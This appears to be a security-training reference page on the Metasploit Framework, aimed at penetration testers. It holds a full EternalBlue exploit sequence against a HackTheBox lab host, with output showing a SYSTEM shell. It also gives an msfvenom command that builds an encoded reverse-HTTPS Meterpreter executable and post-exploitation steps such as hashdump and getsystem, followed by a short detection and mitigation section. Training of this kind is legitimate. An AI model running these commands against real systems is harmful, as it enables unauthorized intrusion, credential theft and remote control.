Tools Hub/
C2 & Exploitation
2 SPECIALIST TOOLS
INTERMEDIATE TIER
PAYLOAD ENGINEERING
T1203Exploitation for Client ExecutionMetasploit FrameworkIntermediate

1. Mental Model & Architectural Core

CORE OPERATIONAL PURPOSE

Metasploit Framework (MSF) is the world's most widely used penetration testing framework. It provides 2,300+ exploit modules, 1,600+ auxiliary modules, and a rich post-exploitation environment (Meterpreter) for gaining, maintaining, and leveraging access to compromised systems.

MENTAL MODEL ANALOGY

Metasploit is a fully equipped armory where every weapon (exploit) is paired with the correct ammunition (payload) for a specific target (service/OS/version). You select the weapon, configure the target, choose your payload, and fire all with a consistent command interface.

When to Deploy
  • Exploit known CVEs against discovered services (EternalBlue, PrintNightmare, etc.)
  • Generate reverse shell payloads for various platforms and encodings
  • Post-exploitation: dump password hashes, pivot to internal networks, establish persistence
  • Client-side attacks: generate malicious Office documents or browser exploits
Real-World Scenarios
  • Exploit EternalBlue (MS17-010) on unpatched Windows 7 hosts discovered in Nmap scan
  • Generate encoded reverse HTTPS meterpreter payload and catch it with multi/handler
  • Post-exploitation: hashdump, getsystem, run post/multi/recon/local_exploit_suggester
HOW IT WORKS PROTOCOL & MEMORY INTERNALS

MSF uses a module architecture: Exploit modules (attack code), Payload modules (shellcode to execute after exploitation), Auxiliary modules (scanners, fuzzers, DoS), and Post modules (post-exploitation actions). msfconsole provides the interactive command interface. Meterpreter is an advanced in-memory payload with 200+ post-exploitation commands.

2. Syntax, Flags & Live Telemetry

Flags & Options Reference
12 OPTIONS
Flag / OptionDescription
search ms17-010Search for exploit modules by name or CVE
use exploit/windows/smb/ms17_010_eternalblueSelect a specific exploit module
show optionsDisplay all required and optional settings for the module
set RHOSTS 10.10.11.240Set the target host(s)
set LHOST 10.10.10.50Set local host (attacker IP for reverse connection)
set PAYLOAD windows/x64/meterpreter/reverse_httpsSet the payload to use
run / exploitExecute the module against the target
sessions -lList all open Meterpreter/shell sessions
sessions -i 1Interact with session ID 1
hashdumpDump local Windows SAM password hashes (in Meterpreter)
getsystemAttempt privilege escalation to SYSTEM (in Meterpreter)
backgroundBackground current Meterpreter session (return to msfconsole)
EternalBlue exploit chain (HTB Blue)
COMMAND
msf6 > use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.40
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
exploit
EternalBlue exploit chain (HTB Blue)
LIVE EXEC
[*] Started reverse TCP handler on 10.10.14.5:4444
[*] 10.10.10.40:445 - Sending all stage payloads...
[+] 10.10.10.40:445 - Win! Exploit completed, shell opened
[*] Meterpreter session 1 opened (SYSTEM @ HARIS-PC)
[✓] getuid: NT AUTHORITY\SYSTEM
Generate encoded payload with msfvenom
COMMAND
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.50 LPORT=443 -f exe -e x64/xor_dynamic -i 5 -o payload.exe
Generate encoded payload with msfvenom
LIVE EXEC
[*] Encoding with x64/xor_dynamic (5 iterations)...
[*] Final size: 8,192 bytes | Entropy: 7.91
[✓] payload.exe written. Use multi/handler to catch reverse connection.
FORENSIC ANALYSIS & OPERATOR INSIGHT

After gaining a Meterpreter session, immediately run: run post/multi/recon/local_exploit_suggester to automatically identify local privilege escalation paths available on the target OS.

3. Hands-On Practice Labs & Cyber Ranges

Practice environments are curated from PortSwigger, OffSec, HackTheBox, and TryHackMe. Complete these labs to earn credentials and build verified hands-on skills.

4. Detection & Prevention Playbook

MITRE ATT&CK TACTICS
TA0001 Initial AccessTA0002 Execution
HOW TO DETECT LOG SOURCES & TELEMETRY
Network flow logsEDR process injection alertsWindows Event ID 7045 (service installation)
HOW TO PREVENT & MITIGATE
  • Block known Metasploit staging server signatures at network egress
  • Monitor for unexpected HTTPS connections on non-standard ports
  • Deploy EDR with memory injection detection (Meterpreter runs in-memory)
  • Patch all systems Metasploit primarily exploits known, patchable vulnerabilities